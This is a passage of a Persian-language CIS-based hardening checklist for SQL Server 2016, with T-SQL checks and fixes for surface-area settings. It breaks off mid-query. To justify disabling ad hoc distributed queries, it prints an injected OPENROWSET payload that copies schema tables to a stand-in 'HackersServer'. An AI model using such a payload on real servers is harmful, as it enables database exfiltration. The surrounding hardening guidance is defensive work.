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 مقدمه .1

است. این سند حاوی فهرست ارزیابی  شده تهیه 1امنیت اینترنتحاضر بر اساس مستندات مرکز سند 

، متخصصین کاربردی هایبرنامهان سند برای مدیراین است.  Microsoft SQL Server 2016 امنیتی پیکربندی

 عاملسیستمبر روی  Microsoft SQL Server 2016 ارتقاء امنیت پیکربندی و برای کارکنانو  هاارزیابامنیت، 

سازی در قالب یک چک لیست ارائه شده در این سند ابتدا لیست کاملی از موارد مقاوم است. شده تدوین وزویند

 ازمورد  ه هربجزئیات مربوط  در ادامه آمده و لیستدر این  شده مطرحشرح و بسط عناوین سپس  .است

 شده است.شرح داده ها سازیمقاوم

 امتیازدهی .2

که به عنوان یک سیستم بانک  Microsoft SQL Server 2016محاسبه امتیاز نهایی  منظور بهامتیازدهی 

در نظر  ،هستحاضر در حال استفاده  در حالازی شده است و اندهاطلاعاتی در یک سازمان یا شرکت نصب و را

ه کاهش در صورت عدم رعایت منجر ب اندشدهمشخص« دارای امتیاز»است. مواردی که با عبارت  شده گرفته

منجر به افزایش امتیاز نهایی خواهند شد. در مقابل رعایت و یا عدم رعایت  ،امتیاز نهایی و در صورت رعایت

 در امتیاز نهایی حاصل از ارزیابی نخواهد داشت. تأثیری اندشدهمشخص« بدون امتیاز»مواردی که با عبارت 

 سازیمقاومفهرست ارزیابی  .3

موارد  آمده است. 1شماره در جدول  Microsoft SQL Serverامنیتی  سازیمقاومفهرست ارزیابی 

 SQL Serverمشخص شده در این فهرست، در ادامه گزارش فعلی با جزئیات لازم برای اعمال آن موارد در 

 آورده شده است.

 

                                                 

1 Center of Internet Security 
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 سازیمقاوم فهرست ارزیابی - 1جدول 

 کنترل
 وضعیت

 خیر بله

 هاو وصله هاروزرسانیبهنصب،  1

1.1 
اطمینان حاصل  ها Hotfixو  SQL Serverهای سرویس از نصب بودن آخرین بسته

 )بدون امتیاز( کنید
  

1.2 
بدون ) اطمینان حاصل کنید Single-Function Member Serversکارگیری از به

 امتیاز(
  

 کاهش سطح مساحت 2

2.1 
در پیکربندی سرور « Ad Hoc Distributed Queries» از صفر بودن مقدار گزینه

 )دارای امتیاز( کنید اطمینان حاصل
  

2.2 
در پیکربندی سرور اطمینان حاصل کنید « CLR Enabled» از صفر بودن مقدار گزینه

 )دارای امتیاز(
  

2.3 
در پیکربندی سرور « Cross DB Ownership Chaining» از صفر بودن مقدار گزینه

 )دارای امتیاز(اطمینان حاصل کنید 
  

2.4 
در پیکربندی سرور اطمینان « Database Mail XPs» از صفر بودن مقدار گزینه

 دارای امتیاز()حاصل کنید 
  

2.5 
در پیکربندی سرور « Ole Automation Procedures» از صفر بودن مقدار گزینه

 دارای امتیاز()اطمینان حاصل کنید 
  

2.6 
در پیکربندی سرور اطمینان حاصل « Remote Access» از صفر بودن مقدار گزینه

 )دارای امتیاز(کنید 
  

در پیکربندی سرور « Remote Admin Connections» از صفر بودن مقدار گزینه 2.7
 )دارای امتیاز(اطمینان حاصل کنید 

  

در پیکربندی سرور اطمینان « Scan For Startup Procs» از صفر بودن مقدار گزینه 2.8
 )دارای امتیاز(حاصل کنید 
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)دارای  کنیداطمینان حاصل  پایگاه دادهدر « Trustworthy» از خاموش بودن گزینه 2.9

 امتیاز(

  

)بدون  اطمینان حاصل کنید« SQL Server»های غیرضروری از غیرفعال بودن پروتکل 2.10

 امتیاز(

  

باشد  شدهپیکربندی غیراستانداردهای برای استفاده از پورت« SQL Server»از اینکه  2.11
 )بدون امتیاز( اطمینان حاصل کنید

  

 SQLعملیاتی  هاینمونهبرای « Yes»به « Hide Instance»از تنظیم مقدار گزینه  2.12

Server  دارای امتیاز(اطمینان حاصل کنید( 

  

   )دارای امتیاز(باشد « Disabled»در حساب کاربری برای ورود « sa»مطمئن شوید گزینه  2.13

)دارای  باشد شدهدادهدر حساب کاربری برای ورود تغییر نام « sa»مطمئن شوید گزینه  2.14

 امتیاز(

  

در پیکربندی سرور اطمینان حاصل کنید « xp_cmdshell» از صفر بودن مقدار گزینه 2.15
 دارای امتیاز()

  

اطلاعاتی ایجاد شده های در بانک ’AUTO_CLOSE‘بودن مقدار گزینه  ’OFF‘از  2.16
 )دارای امتیاز(در سرور مطمئن شوید. 

  

   امتیاز(. )دارای وجود نداشته باشد ’sa‘با نام  ینام کاربرمطمئن شوید که حساب کاربری و  2.17

 مجوزدهیاحراز هویت و  3

3.1 
 Windows Authentication»به « Server Authentication»مطمئن شوید گزینه 

mode »دارای امتیاز(باشد  شدهتنظیم( 
  

3.2 

پایگاه به همراه تمام  «guest user»های اتصال بر روی مطمئن شوید گزینه مجوز
لغو شده « tempdb»و « master» ،«msdb»استثنای به« SQL Server» هایداده

 امتیاز(دارای )باشد 
  

 شدهحذف« SQL Server» هایپایگاه دادهاز « Orphaned Users»مطمئن شوید  3.3
 )دارای امتیاز(باشد 

  

دارای )باشد  نشدهاستفادهموجود  هایپایگاه دادهدر  «SQL»مطمئن شوید احراز هویت  3.4

 امتیاز(

  

  دارای  SQL Serverپایگاه داده  MSSQLمطمئن شوید حساب کاربری سرویس  3.5



 

 

 
 

5 

 

 

 

 Microsoft SQL یسازمقاوم یابیفهرست ارز

Server 2016 –  2.0.0نسخه 

 )دارای امتیاز(سطح دسترسی مدیر نباشد 
دارای  SQL Serverپایگاه داده  SQLAgentمطمئن شوید حساب کاربری سرویس  3.6

 )دارای امتیاز(سطح دسترسی مدیر نباشد 

  

دارای  SQL Serverپایگاه داده  Full-textمطمئن شوید حساب کاربری سرویس  3.7
 )دارای امتیاز(سطح دسترسی مدیر نباشد 

  

مطمئن شوید که صرفا مجوزهایی که به صورت پیش فرض توسط مایکروسافت برای  3.8
 )دارای امتیاز(عمومی مشخص شده است به آن اختصاص یافته است.  دهندهیسسرونقش 

  

   )دارای امتیاز(ای نداشته باشند.  SQLدسترسی  BUILTINهای مطمئن شوید که گروه 3.9

)دارای ای نداشته باشند.  SQL اییدسترسمحلی ویندوز های مطمئن شوید که گرو 3.10

 امتیاز(

  

اجازه دسترسی به  msdbمطمئن شوید که نقش عمومی در بانک اطلاعاتی  3.11
 )دارای امتیاز( نداشته باشند. SQL Agentهای پروکسی

  

 های کلمه عبورسیاست 4

4.1 
احراز هویت شده  کاربرانبرای تمام « MUST_CHANGE»مطمئن شوید گزینه 

SQL  به مقدار«ON »بدون امتیاز(باشد  شدهتنظیم( 
  

4.2 
احراز هویت کاربران برای تمام « CHECK_EXPIRATION»مطمئن شوید گزینه 

 )دارای امتیاز(باشد  شدهتنظیم« ON»به مقدار  Sysadmin Roleدر  SQLشده 
  

احراز هویت شده کاربران برای تمام « CHECK_POLICY»مطمئن شوید گزینه  4.3
SQL  به مقدار«ON »دارای امتیاز(باشد  شدهتنظیم( 

  

 بازرسی و ورود 5

5.1 
یا  تربزرگبه « Maximum number of error log files»مطمئن شوید مقدار 

 )دارای امتیاز( باشد شده تنظیم 12مساوی 
  

در پیکربندی سرور اطمینان « Default Trace Enabled» یک بودن مقدار گزینهاز  5.2
 )دارای امتیاز( حاصل کنید

  

باشد  شدهتنظیم« failed logins»با مقدار « Login Auditing»مطمئن شوید گزینه  5.3
 )بدون امتیاز(
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و « failed»برای ثبت هردو نوع ورود « SQL Server Audit»مطمئن شوید گزینه  5.4
«successful» بدون امتیاز(باشد  شده تنظیم( 

  

 افزارتوسعه نرم 6

6.1 
اطمینان ها های کاربر از طریق برنامهاز تصفیه شدن پایگاه داده و تصفیه شدن ورودی

 )بدون امتیاز( حاصل نمایید
  

 CLR»برای تمام « CLR Assembly Permission Set»مطمئن شوید گزینه  6.2

Assemblies » به«SAFE_ACCESS »دارای امتیاز(باشد  شدهتنظیم( 

  

 رمزنگاری 7

7.1 
به مقدار « Symmetric Key encryption algorithm»گزینه  مطمئن شوید

«AES_128 »دارای امتیاز(باشد  شدهتنظیمهای غیر سیستمی یا بالاتر در پایگاه داده( 
  

 greater»های غیر سیستمی به مقدار اندازه کلید نامتقارن در پایگاه داده مطمئن شوید 7.2

than or equal to 2048» دارای امتیاز(باشد  شدهتنظیم( 

  

 های بیشترپیوست: بررسی 8

8.1 
باشد  شدهپیکربندی درستیبه« SQL Server Browser Service» شویدمطمئن 

 )بدون امتیاز(
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 یسازمقاومموارد فهرست  شرح .4

 را شرح خواهیم داد. 1موارد ذکر شده در جدول  بخش یرزدر ادامه، در هر 

 هاو وصله هاروزرسانیبهنصب،  .4.1

اطمینان  ها Hotfixو  SQL Serverهای سرویس از نصب بودن آخرین بسته  .4.1.1

 .حاصل کنید

هستند که مشکلات امنیتی و مسائل مربوط به عملکرد هایی شامل به روزرسانی SQL Server 1هایوصله

 شوند:می به سه صورت عرضهها وصلهگیرند. این می بر را در

- Hotfix تنهاست. وصلهکه هر کدام یک ها 

- Cumulative Update هستندها وصلهی از گروه کوچک یککه هر کدام ها. 

- Service Pack هستند.ها وصلهبزرگی از ی که مجموعهها 

باشد تا به ها مطابق با نیازهای عملیاتی سازمانی نسخهترین باید جدیدها و وصله SQL Serverی نسخه

 کمک کند.ها محدود کردن خطرات احتمالی در نرم افزار

 :بررسیی نحوه •

 اجرا کنید. SQL Serverقطعه کد زیر را در  ،نصب شده Service Packبرای مشخص کردن نسخه و 

SELECT SERVERPROPERTY('ProductLevel') as SP_installed, 

SERVERPROPERTY('ProductVersion') as Version 

 کند.می دقیق را مشخص Build Numberنصب شده و سطر دوم  Service Packی اول نسخه سطر

                                                 

1 Patch 
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 :اجرا روش •

 به آدرس زیر مراجعه کنید.ها Cumulative Updateو ها Hotfixبرای دانلود آخرین 

https://blogs.msdn.microsoft.com/sqlreleaseservices/ 

 به آدرس زیر مراجعه کنید. Service Packبرای دانلود آخرین 

https://support.microsoft.com/en-us/kb/3177534 

 : منابع •

https://support.microsoft.com/en-us/kb/3177534 

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

 .اطمینان حاصل کنید Single-Function Member Serversکارگیری ز بها .4.1.2

انعطاف  ،نتخاب این معماریبر روی یک سرور اختصاصی نصب شود. ا SQL Serverشود که می توصیه

دهد که در آن پایگاه داده بتواند روی یک بستر مجزا قرار گیرد تا بتوان می بیشتری از لحاظ امنیتی به سیستم

مدیریت سطح مورد  ،مشخص استفاده کرد. در این شرایطهای مشخص بر روی پروتکل هایهاست در آن فقط از

امنیتی های و ابزار SQL Server، به سرور، سیستم عامل نفوذهای اهیابد زیرا تنها رمی سرور کاهشی حمله

 نصب شده هستند. همچنین با استفاده از سرور اختصاصی میزان در دسترس بودن سرور نیز افزایشی اضافه

 یابد.می

یابد و همچنین در صورت تغییر معماری به سرور می ما افزایشهای البته در این شرایط میزان هزینه

 TCP/IPنیاز به تنظیماتی برای تطبیق با شرایط داشته باشند. )مثلا از ها ممکن است برخی نرم افزار ،اختصاصی

مالی شرکت یا سازمان های و تواناییها استفاده شود.( و این مسئله باید با توجه به نیاز Named Pipesبه جای 

 در نظر گرفته شود.

 

https://blogs.msdn.microsoft.com/sqlreleaseservices/
https://support.microsoft.com/en-us/kb/3177534
https://support.microsoft.com/en-us/kb/3177534
https://www.cisecurity.org/benchmark/microsoft_sql_server/
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 :منابع •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

 پذیریآسیبکاهش سطح  .4.2

در پیکربندی سرور « Ad Hoc Distributed Queries»از صفر بودن مقدار  .4.2.1

 .اطمینان حاصل کنید

دهد که روی منابع به کاربران این اجازه را می Ad Hoc Distributed Queriesی فعال کردن گزینه

با استفاده  Ad Hoc Distributed Queriesخارجی اطلاعات پرس و جو کنند و یا اینکه دستورالعمل اجرا کنند. 

استفاده  OLE DBتواند به منابع اطلاعاتی که از می OPENDATASOURCEو  OPENROWSETاز توابع 

ای متصل  OLE DBی ی مایکروسافت این توابع بهتر است تنها به منابع دادهنند متصل شود. به توصیهکمی

به صورت مکرر مورد دسترسی باشند و اگر قرار باشد که به صورت مکرر به یک منبع  هاآنشوند که قرار نیست 

تواند مورد داده متصل شویم، بهتر است از روش سرورهای متصل استفاده کنیم. در هر صورت این قابلیت می

 شود که غیر فعال شود.سوء استفاده قرار گیرد و توصیه می

 منطق کار: •

 SQLهای راه دور روی نمونه هاپذیرییبآساز  یبرداربهرهای دسترسی از راه دور و تواند براین قابلیت می

Server  ناامنتوابع  هاآناستفاده شود تا بتوان روی Visual Basic .اجرا کرد 

باشد. از می OPENROWSETاستفاده از توابع  SQL Serverهای مطرح نفوذ به برای مثال یکی از روش 

وجو پویا به هیچ وجه مناسب نیست و حتی در صورت بررسی ت شده است که استفاده از پرسلحاظ امنیتی ثاب

اما به هر حال ممکن است در نرم افزار ما ؛ وجود دارد SQL Injection( باز هم امکان Scapeهای فرار )کاراکتر

که در صورت فعال  OPENROWSETوجو پویا موجود باشد. در چنین شرایطی امکان سوء استفاده از یک پرس

 شود وجود دارد. کد زیر را در نظر بگیرید:فعال می Ad Hoc Distributed Queriesبودن 

https://www.cisecurity.org/benchmark/microsoft_sql_server/
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INSERT INTO OPENROWSET('SQLoledb', 'server=HackersServer;uid=sa;pwd=hackersPwd',  

'select * from hacked_tables') 

SELECT * FROM sys.objects 

INSERT INTO OPENROWSET('SQLoledb', 'server=HackersServer;uid=sa;pwd=hackersPwd',  

'select * from hacked_columns') 

SELECT * FROM sys.columns 

ی ما شده است. حالا به تحلیل آن ، کد بالا وارد پایگاه دادهSQL Injectionفرض کنید از طریق 

ی ی شما وارد پایگاه دادهها را از پایگاه دادهviewداول و اول، نفوذکننده تعاریف همه ج Insertپردازیم. در می

کند و به این طریق به طور ی خود میهای آن را نیز وارد پایگاه دادهی ستوندوم همه Insertکند و در خود می

 Ad Hoc Distributedی کند. به همین دلایل بهتر است گزینهی شما دسترسی پیدا میکامل به پایگاه داده

Queries .غیر فعال باشد تا امکان چنین حملاتی کاهش یابد 

 بررسی:ی نحوه •

 زیر را اجرا کنید. T-SQLدستورات 

SELECT name, 

CAST(value as int) as value_configured, 

CAST(value_in_use as int) as value_in_use 

FROM sys.configurations 

WHERE name = 'Ad Hoc Distributed Queries'; 

 هر دو ستون باید مقدار صفر را بازگردانند.

 ی اعمال:نحوه •

 زیر را اجرا کنید. T-SQLدستورات 

EXECUTE sp_configure 'show advanced options', 1; 

RECONFIGURE; 



 

 

 
 

11 

 

 

 

 Microsoft SQL یسازمقاوم یابیفهرست ارز

Server 2016 –  2.0.0نسخه 

EXECUTE sp_configure 'Ad Hoc Distributed Queries', 0; 

RECONFIGURE; 

GO 

EXECUTE sp_configure 'show advanced options', 0; 

RECONFIGURE; 

 مقدار پیش فرض: •

 (0غیر فعال )

 منابع: •

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ad-hoc-distributed-

queries-server-configuration-option 

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://cuttingedge.it/blogs/steven/pivot/entry.php?id=44 

https://en.wikipedia.org/wiki/SQL_injection 

 

در پیکربندی سرور اطمینان حاصل « CLR Enabled» مقدار گزینهاز صفر بودن  .4.2.2

 .کنید

شوند و سپس در ها کامپایل میTriggerیا  های ذخیره شدهرویهی مانند اشیای SQL Serverدر 

های Assemblyکند که آیا مشخص می CLR Enabledی شوند. گزینهمنتشر می Assemblyهایی به نام واحد

 را دارند یا خیر. SQL Serverجرا توسط کاربران، امکان ا

 

 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ad-hoc-distributed-queries-server-configuration-option
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ad-hoc-distributed-queries-server-configuration-option
https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://cuttingedge.it/blogs/steven/pivot/entry.php?id=44
https://en.wikipedia.org/wiki/SQL_injection
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 منطق کار:

دهد و سرور را در قبال هم را افزایش می SQL Serverی به ها سطح حملهCLR Assemblyفعال کردن 

Assembly های بدخواهانه و همAssembly دهد. به علاوه خود نشده در خطر قرار می یزیربرنامههای

 Code Accessاز قابلیت  CLRکند. به این صورت که مایکروسافت نیز استفاده از این گزینه را توصیه نمی

Security  یاCAS کند و این قابلیت استفاده میCAS های جدیددر نسخه.NET Framework  پشتیبانی

ساخته شده است،  PERMISSION_SET = SAFEکه با مجوز  CLR Assemblyشود. به علاوه یک نمی

و  NET Framework.ی خارج از محیطنشده امکان دسترسی به منابع خارجی سیستم، فراخوانی کد مدیریت

ها CLR Assemblyشود که از را خواهد داشت. در هر صورت توصیه می sysadminدر اختیار گرفتن مجوز 

 CLRهایی که قبلا نوشته شده مجبور شدید که از ر دلیلی مثلا نگهداشت کداما اگر به ه؛ استفاده نکنید

Assemblyی توانید از گزینهها استفاده کنید، میCLR Strict Security  که درSQL Server 2017  معرفی

 .باشددر آدرس زیر موجود می هاآنها استفاده کنید که شرح CLR Assemblyشده است برای افزایش امنیت 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/clr-strict-security 

 ی بررسی:نحوه •

 زیر را اجرا کنید. T-SQLدستورات 

SELECT name, 

CAST(value as int) as value_configured, 

CAST(value_in_use as int) as value_in_use 

FROM sys.configurations 

WHERE name = 'clr enabled'; 

 را بازگردانند. 0هر دو ستون باید مقدار 

 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/clr-strict-security
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 ی اعمال:نحوه •

 زیر را اجرا کنید. T-SQLدستورات 

EXECUTE sp_configure 'clr enabled', 0; 

RECONFIGURE; 

 

 مقدار پیش فرض: •

 ( است.0به طور پیش این گزینه غیر فعال )

 تاثیرات کار: •

ها باید قبل از غیر شود، این نرم افزارها استفاده میCLR Assemblyهای استفاده شده از اگر در نرم افزار

هایی Assemblyها ممکن است این اجازه را برای شوند. البته برخی سازمان یسازدوبارهفعال کردن این گزینه، 

یا  UNSAFEتر که مجوزهای های ریسکیAssemblyاند، بدهند ولی به تنظیم شده SAFEکه با مجوز 

EXTERNAL_ACCESS  را دارند، اجازه استفاده از اینCLR Assembly ها را ندهند. برای این که بتوانید

Assemblyها اجرا ی پایگاه دادهزیر را در همه یوجواند، پیدا کنید، پرسهایی را که توسط کاربران ساخته شده

 نام پایگاه داده را قرار دهید(. <database_name>به جای ) کنید

USE [<database_name>] 

GO 

SELECT name AS Assembly_Name, permission_set_desc 

FROM sys.assemblies 

WHERE is_user_defined = 1; 

 منابع: •

https://docs.microsoft.com/en-us/sql/t-sql/statements/create-assembly-transact-sql 

https://docs.microsoft.com/en-us/sql/t-sql/statements/create-assembly-transact-sql
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https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/clr-enabled-server-

configuration-option 

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/assemblies/creating-an-

assembly 

در پیکربندی « Cross DB Ownership Chaining» از صفر بودن مقدار گزینه .4.2.3

 .سرور اطمینان حاصل کنید

Cross DB Ownership Chaining دهد که یکی از رخ می هنگامیdb_ownerسایر  ءها به اشیا

او به  داده یگاهپادر  viewمثلا یک ؛ خود او نیست دسترسی داشته باشد داده یگاهپاهایی که مربوط به دادهپایگاه

 دیگر اشاره کند. یداده یگاهپایک جدول در 

 منطق کار: •

ی دسترسی به اشیائی که تحت اجازه، db_ownerدر صورت فعال بودن، این گزینه به هر یک از اعضای 

مورد تواند باعث افشای بیدهد و این مسئله میری باشد را میدیگ داده یگاهپامالکیت یک نام کاربری در هر 

های دادهپایگاه، تنها باید روی Cross DB Ownership Chainingی اطلاعات شود. در صورت نیاز، گزینه

 ALTER DATABASE <database_name> SET DB_CHAINING مشخصی که به آن نیاز دارند، با دستور

ON های سیستمی مانند ، ممکن است روی پایگاه دادهپایگاه دادهی اعمال شوند. این گزینهmaster ،model  یا

tempdb .اعمال نشود 

 ی بررسی:نحوه •

 زیر را اجرا کنید. T-SQLدستور 

SELECT name, 

CAST(value as int) as value_configured, 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/clr-enabled-server-configuration-option
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/clr-enabled-server-configuration-option
https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/assemblies/creating-an-assembly
https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/assemblies/creating-an-assembly
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CAST(value_in_use as int) as value_in_use 

FROM sys.configurations 

WHERE name = 'cross db ownership chaining'; 

 را بازگردانند. 0هر دو ستون باید مقدار 

 ی اعمال:نحوه •

 زیر را اجرا کنید. T-SQLدستور 

EXECUTE sp_configure 'cross db ownership chaining', 0; 

RECONFIGURE; 

 مقدار پیش فرض: •

 ( است.0گزینه غیرفعال )به طور پیش فرض، این 

 منابع: •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/cross-db-ownership-

chaining-server-configuration-option?view=sql-server-2016 

https://www.mssqltips.com/sqlservertip/1782/understanding-cross-database-ownership-chaining-

in-sql-server/ 

اطمینان در پیکربندی سرور « Database Mail XPs» از صفر بودن مقدار گزینه .4.2.4

 .حاصل کنید

 کند.را کنترل می SQL Serverقابلیت تولید و ارسال ایمیل از ، Database Mail XPsی گزینه

 

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/cross-db-ownership-chaining-server-configuration-option?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/cross-db-ownership-chaining-server-configuration-option?view=sql-server-2016
https://www.mssqltips.com/sqlservertip/1782/understanding-cross-database-ownership-chaining-in-sql-server/
https://www.mssqltips.com/sqlservertip/1782/understanding-cross-database-ownership-chaining-in-sql-server/
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 منطق کار: •

دهد و این امر را کاهش می SQL Serverسطح دسترسی  Database Mail Xpsی غیرفعال کردن گزینه

به یک  جلوگیری کند و یا کانالی را جهت خارج کردن اطلاعات از سرور پایگاه داده، DOSتواند از حملات می

 هاست خارجی، ببندند.

 ی بررسی:نحوه •

 زیر را اجرا کنید. T-SQLدستور 

SELECT name, 

CAST(value as int) as value_configured, 

CAST(value_in_use as int) as value_in_use 

FROM sys.configurations 

WHERE name = 'Database Mail XPs'; 

 را بازگردانند. 0هر دو ستون باید مقدار 

 ی اعمال:نحوه •

 زیر را اجرا کنید. T-SQLدستور 

EXECUTE sp_configure 'show advanced options', 1; 

RECONFIGURE; 

EXECUTE sp_configure 'Database Mail XPs', 0; 

RECONFIGURE; 

GO 

EXECUTE sp_configure 'show advanced options', 0; 

RECONFIGURE; 
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 مقدار پیش فرض: •

 ( است.0به طور پیش فرض، این گزینه غیرفعال )

 منابع: •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/relational-databases/database-mail/database-mail?view=sql-

server-2016 

 

در پیکربندی سرور « Ole Automation Procedures» از صفر بودن مقدار گزینه .4.2.5

 .اطمینان حاصل کنید

توانند می OLE Automation اشیاءکند که آیا می کنترل Ole Automation Proceduresی گزینه

این اجازه را  SQL Serverبه کاربران  یهای ذخیره شدهرویهباشند. این  قابل رویت T-SQLهای درون بسته

یک  OLE Automationویندوز.  یسینوبرنامهاجرا کنند. )در  SQL Server وابعی را خارج ازدهد که تمی

 ی است که توسط مایکروسافت ایجاد شده است.(پردازشمکانیزم ارتباط درون 

 منطق کار: •

د دهدهد و به کاربران این اجازه را میرا افزایش می SQL Serverی فعال کردن این گزینه سطح حمله

 باشند، اجرا کنند. سازمشکل SQL Serverی امنیت مینهتوانند در زابعی را که میکه تو

 ی بررسی:نحوه •

 زیر را اجرا کنید. T-SQLدستور 

SELECT name, 

CAST(value as int) as value_configured, 

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/relational-databases/database-mail/database-mail?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/relational-databases/database-mail/database-mail?view=sql-server-2016
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CAST(value_in_use as int) as value_in_use 

FROM sys.configurations 

WHERE name = 'Ole Automation Procedures'; 

 را بازگردانند. 0هر دو ستون باید مقدار 

 ی اعمال:نحوه •

 زیر را اجرا کنید. T-SQLدستور 

EXECUTE sp_configure 'show advanced options', 1; 

RECONFIGURE; 

EXECUTE sp_configure 'Ole Automation Procedures', 0; 

RECONFIGURE; 

GO 

EXECUTE sp_configure 'show advanced options', 0; 

RECONFIGURE; 

 مقدار پیش فرض: •

 ( است.0به طور پیش فرض، این گزینه غیرفعال )

 منابع: •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-

procedures-server-configuration-option 

https://en.wikipedia.org/wiki/OLE_Automation 

 

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option
https://en.wikipedia.org/wiki/OLE_Automation
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در پیکربندی سرور اطمینان حاصل « Remote Access» از صفر بودن مقدار گزینه .4.2.6

 کنید

و همچنین  های راه دوربرروی سرور محلی یهای ذخیره شدهرویهاجرای  Remote accessی گزینه

 کند.راه دور برروی سرور محلی را کنترل می یهای ذخیره شدهرویهاجرای 

 منطق کار: •

سپردن بار پردازش  توان باتواند مورد سوء استفاده قرار گیرد. به این صورت که میاین عملکرد می

( ترتیب ”Denial of Service “DOSئه خدمت )ی خودداری از ارا، روی یک سرور راه دور، یک حملهوجوپرس

 داد.

 ی بررسی:نحوه •

 زیر را اجرا کنید. T-SQLدستور 

SELECT name, 

CAST(value as int) as value_configured, 

CAST(value_in_use as int) as value_in_use 

FROM sys.configurations 

WHERE name = 'remote access'; 

 را بازگردانند. 0مقدار هر دو ستون باید 

 ی اعمال:نحوه •

 مجدد کنید. یاندازراهپایگاه داده را زیر را اجرا کنید و پس از آن موتور  T-SQLدستور 

EXECUTE sp_configure 'show advanced options', 1; 

RECONFIGURE; 
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EXECUTE sp_configure 'remote access', 0; 

RECONFIGURE; 

GO 

EXECUTE sp_configure 'show advanced options', 0; 

RECONFIGURE; 

 مقدار پیش فرض: •

 ( است.1به طور پیش فرض، این گزینه فعال )

 تاثیرات کار: •

حذف خواهد شد و توصیه  SQL Serverی آینده ی مایکروسافت، این قابلیت در نسخهبا توجه به گفته

هایی که از این قابلت ها استفاده نشود و همچنین نرم افزاری نرم افزارشود که از این قابلیت در توسعهمی

روی یک  های ذخیره شدهرویهغیر فعال باشد، اجرای  remote accessاگر  کنند، اصلاح شوند.استفاده می

های به هم متصل شده، سرورهایی هستند که طوری تنظیم شود. )سرورسرورهای به هم متصل دچار مشکل می

انجام داد.( برای حل  T-SQLی سرور دیگر دستور های پایگاه دادهتوان از یک سرور روی جدولاند که میشده

آن در ی استفادهی کند که نحوهمی را توصیه sp_addlinkedserverاین مشکل مایکروسافت به ما استفاده از 

 لینک زیر است:

https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-

addlinkedserver-transact-sql 

 منابع: •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-the-remote-

access-server-configuration-option 

https://docs.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-

engine 

https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-addlinkedserver-transact-sql
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-addlinkedserver-transact-sql
https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-the-remote-access-server-configuration-option
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-the-remote-access-server-configuration-option
https://docs.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine
https://docs.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine
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در پیکربندی سرور « Remote Admin Connections» ز صفر بودن گزینها .4.2.7

 .اطمینان حاصل کنید

ی کلاینت بر روی یک کامپیوتر برنامهکند که آیا یک ، کنترل میremote admin connectionی گزینه

 استفاده کند یا خیر. DACتواند از می راه دور

DAC یا Dedicated Administrator Connection  یک قابلیتSQL Server  است که به مدیر این اجازه

دسترسی یابد تا مشکلات برروی سرور را عیب یابی  SQL Serverی ی در حال اجرادهد که به یک نمونهرا می

 ها نداشته نباشد.کند، حتی اگر سرور قابلیت پاسخگویی به ارتباطات سایر کلاینت

 منطق کار: •

DAC دهد که به یک سرور در حال اجرا دسترسی یابد و روی آن توابع به یک مدیر این اجازه را می

یا اینکه مشکلات روی سرور را حتی در شرایطی که سرور قفل اجرا کند  T-SQLتشخیص خرابی یا عبارات 

دهد، عیب یابی کند. پاسخ نمی SQL Serverشده است و یا در شرایط غیر نرمال است و به ارتباطات به موتور 

های متصل ی کلاستر شده مجموعه از پایگاه دادههنگامی که پایگاه داده کلاستر شده داشته باشیم )پایگاه داده

شوند(، مدیر ممکن کند مدیریت میی تنهایی که پایگاه داده سرور را اجرا میهم هستند که توسط یک نمونه به

کند متصل نباشد؛ در این شرایط، ارتباط آن مدیر را میزبانی می SQL Serverی ای که نمونهبه همان گره است

ی های کلاستر شده خطایی رخ داده باشد، گزینههبنابراین اگر در پایگاه داد؛ شوداز راه دور در نظر گرفته می

remote admin connection ( باشد که 0( باشد، در غیر این صورت این گزینه باید غیر فعال )1باید فعال )

 حالت پیش فرض نیز همین است.

فعال ها به صورت کلاستر شده نصب شده باشند، این گزینه باید توجه داشته باشید که اگر پایگاه داده

در این صورت غیرفعال  DACمنتسب شود و  localhostتواند به کلاستر شده نمی SQL Serverباشد زیرا یک 
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های کلاستر شده فعال باید اندازیرا برای نصب و راه remote admin connectionی بنابراین گزینه؛ خواهد شد

 ر فعال باشد.باید غی standaloneاندازی تنها و باشد ولی برای نصب و راه

 ی بررسی:نحوه •

 زیر را اجرا کنید. T-SQLدستورات 

USE master; 

GO 

SELECT name, 

